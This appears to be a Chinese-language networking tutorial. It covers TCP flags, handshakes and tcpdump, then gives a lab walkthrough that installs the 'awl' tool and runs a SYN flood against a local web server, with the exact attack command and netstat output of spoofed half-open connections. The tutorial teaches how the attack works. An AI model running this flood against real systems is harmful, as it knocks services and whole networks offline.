图

ACK:TCP协议规定，只有ack=1时，有效，也规定连接建立后，所有发送的报文ack必须为1

SYN :在连接建立时用来同步序列号，当SYN=1,而ACK=0时，表明这是一个连接请求报文，对方若同意建立连接，则应在响应报文中使SYS=1,和ACK=1，因此，SYS置1，就表示这是一个连接请求或连接接受报文

FIN 终结，用来释放一个连接，当FIN=1，表明此报文段的发送方数据已经发送完毕，并要求释放连接

建立tcp 连接是的tcp三次握手

断开tcp 连接的四次挥手

三次握手过程：

TCP 连接状态：

三次握手过程： - 首先有client 发起请求连接，SYN=1,声明 自己序列号为seq=x； - 然后server 进行回复确认，即SYN=1,声明自己的序列号是 seq=y,并设置ack=x+1 - 最后cilent 在进行一次确认，设置ack=y+1(相对序号)

Cilent:我要断开了哦

Server:嗯嗯

Server:我也要断开了

Client:好的，可以断开

UPD 主要是语音、视频，同时vxlan也采用UDP协议分装，主要用于构建OpenStack 私有云或者解决vlan 不够用

-c 指定包个数

-n IP 端口用数字方式显示

-port 指定端口

-i 指定网卡接口

如何产生tcp 连接？

[root@client ~]# tcpdump -n -c 3 port 22 -i ens33

注释：Flags --S {syn} 表示SYN标志位为1

思考：为啥ack 最后是1，而不是y+1

相对序号 +S,最后不是1

SYN 洪水攻击的过程： 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端，如果发起的客户是一个不存在的端，那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直刀等待关闭超时，才能释放连接

如果恶意者通过IP 欺骗，发送大量SYN包给受害者系统，导致服务端存在大量未决的连接，并占用大量内存和tcp 连接，从而导致客户端无法访问服务端，这就是SYN洪水攻击的过程

解压、编译安装 [root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

[root@localhost ~]# cd /usr/src/awl-0.2/ [root@localhost awl-0.2]# ./configure #检查安装环境

[root@localhost awl-0.2]# make -j 1

[root@localhost awl-0.2]# make install

[root@localhost ~]# aw awk awl [root@localhost ~]# which awl #查看安装的位置 /usr/local/bin/awl [root@localhost ~]#

开始攻击：

发送包的接口，如果省略默认是 eth 0

-m 指定目标mac，如果-m 没有指定mac，默认目标mac 就是FF.FF.FF.FF.FF.FF

全 F 就是向同以往段所有主机发出arp 广播，进行SYN攻击，还容易使整个局域网瘫痪

-d 被攻击的主机ip

-p 被攻击的主机端口

配置服务端

[root@localhost ~]# yum -y install httpd [root@localhost ~]# systemctl start httpd [root@localhost ~]# getenforce #关闭selinux Disabled [root@localhost ~]# systemctl stop firewalld #关闭防火墙 [root@localhost ~]# [root@localhost ~]# iptables -F [root@localhost ~]# 当我们安装好后，过滤端口，发现默认只有一个80. [root@localhost ~]# [root@localhost ~]# netstat -antup |grep 80 tcp6 0 0 :::80 ::: LISTEN 1412/httpd

[root@localhost ~]# arp -n # 查看arp 缓存，如果没有看到167 的ip ,说明没有产生连接，可以使用167 ssh 到121 ，然后退出，再次查看。

[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80 注意：默数几秒，ctrl +C停止操作，在去过滤167httpd服务

[root@localhost ~]# netstat -antup |grep 80 tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV - tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV - tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV - tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV - tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV - …… 会发现产生大量未知的ip地址，并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认